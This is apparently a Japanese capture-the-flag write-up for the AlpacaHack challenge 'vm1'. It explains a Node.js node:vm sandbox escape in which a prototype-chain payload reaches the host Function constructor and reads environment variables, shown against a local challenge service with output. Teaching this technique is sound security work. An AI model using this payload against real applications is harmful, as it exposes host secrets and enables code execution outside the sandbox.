FEAT:🚩 Daily-AlpacaHack 「vm1」Medium
node:vm からのプロトタイプチェーンを利用したサンドボックスエスケープ
20260603-daily-misc-medium-vm1
Summary
本問は,nodejs の サンドボックス環境内 (node:vm) から,オブジェクトのプロトタイプチェーンを遡り,Function コンストラクタへ到達することで,サンドボックスをエスケープする問題です.
- Category: Misc
- Description:
- The
node:vmmodule is not a security mechanism. Do not use it to run untrusted code.- 自分はそうは思いません
- Tools & TechStack:
- Javascript
node:vm
P.S. 技術的に不正確な説明をしている部分があるかもしれません.
階層構造
1
2
3
4
5
6
.
├── compose.yaml
├── Dockerfile
└── jail.js
1 directory, 3 files
ソースコードの調査
node:vm は,プロセスとは隔離された環境でJavascriptを実行するためのモジュールです.ソースコードを見るに,サンドボックスのエスケープ問題だと考えました.
FLAG がコンテナの環境変数にあることはわかっていますが,この仮想環境だと,コンテキスト設定が,{} となっています. そのため,process オブジェクトが使用できず,process.env.FLAG で読み取ることができません.
jail.js
1
2
3
4
5
6
import { runInNewContext } from "node:vm";
console.log("Input JavaScript code (Example: 1+2):");
process.stdin.on("data", code => {
console.log(runInNewContext(code.toString(), {}, { timeout: 1000 }));
});
関数概要
runInNewContext(code, contextObject, options)1 : 新しく用意した空のグローバル環境 (コンテキスト) の中で,任意のJavaScriptのコードを実行するための関数- 第1引数 (
code): コンテキスト内で実行させるソースコード - 第2引数 (
contextObject): コンテキスト内でグローバル変数として使いたいオブジェクト ({}の場合は何もなし) - 第3引数 (
options): 実行時の細かいルール (timeoutはその時間に到達すると強制中断させる)
- 第1引数 (
サンドボックスエスケープ
vm自体は新しい隔離環境を作っていますが,外部から渡されたコンテキストオブジェクト({})を起点にプロトタイプチェーンを遡ることで,ホスト環境の Function コンストラクタを直接操作できます. ホスト側の Function で生成した関数はホスト側のスコープで実行されるため.結果としてサンドボックスをエスケープすることができます.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc localhost 1337
Input JavaScript code (Example: 1+2):
this.constructor.constructor('return process.env')()
{
NODE_VERSION: '26.2.0',
HOSTNAME: '34005c25d872',
HOME: '/nonexistent',
PATH: '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
PWD: '/app',
FLAG: 'Alpaca{REDACTED}',
SOCAT_PID: '63',
SOCAT_PPID: '1',
SOCAT_VERSION: '1.8.0.3',
SOCAT_SOCKADDR: '172.20.0.2',
SOCAT_SOCKPORT: '1337',
SOCAT_PEERADDR: '172.20.0.1',
SOCAT_PEERPORT: '48188'
}
ペイロードの仕組みと評価順
1. this
runInNewContext() で実行されるコードでは,トップレベルの this はVM内の globalThis そのものです. これは,第2引数として渡した {} が V8 の contextification 処理によってVMコンテキストのグローバルオブジェクトに昇格されているためです. 自身のプロパティ空間は空ですが,{} はホスト環境で生成されているため,[[Prototype]] はホストの Object.prototype を指したままになります.
2. this.constructor
この {} オブジェクトはホスト環境で作成されているため,[[Prototype]] (__proto__) は ホストの Object.prototype を指しています. {} 自身は constructor という 自身のプロパティを持たない ため,プロトタイプチェーンを辿って Object.prototype.constructor が参照されます. これはホスト環境の Object 関数そのものであるため,this.constructor はホストの Object と同じになります.
3. this.constructor.constructor
Object は関数オブジェクトです.JavaScript では,全ての関数は Function のインスタンスであるため,Object.__proto__ === Function.prototype が成立します. Object 自身も constructor という自身のプロパティを持たないため,プロトタイプチェーンを辿って Function.prototype.constructor が参照されます. これは Function そのものであるため,Object.constructor === Function は true として評価されます.
1
2
3
Object (関数オブジェクト)
├── __proto__ ──→ Function.prototype ← Object は Function のインスタンス
└── .constructor ──→ Function ← ゆえに Object.constructor === Function
4. Function('return process.env')
最終的に,Function コンストラクタが呼び出されます. Function('return process.env') は以下を動的生成するのと同じです.
これによって,ホスト環境の Function によって動的生成された関数は,生成元であるホスト環境のグローバルスコープを参照して実行されるため,サンドボックス外の process が使用可能になります.
1
2
3
function anonymous() {
return process.env;
}
Post-Mortem & Dead ends
この問題は以前解いた,HackTheBox の CodePartTwo というマシーンを思い出しました. これは,js2py の脆弱性によって,Javascriptのオブジェクトから,PythonのDunder内部属性を呼び出して任意コードを実行するものですが,オブジェクト指向の階層を遡ってエクスプロイトする点は非常に近いものを感じました.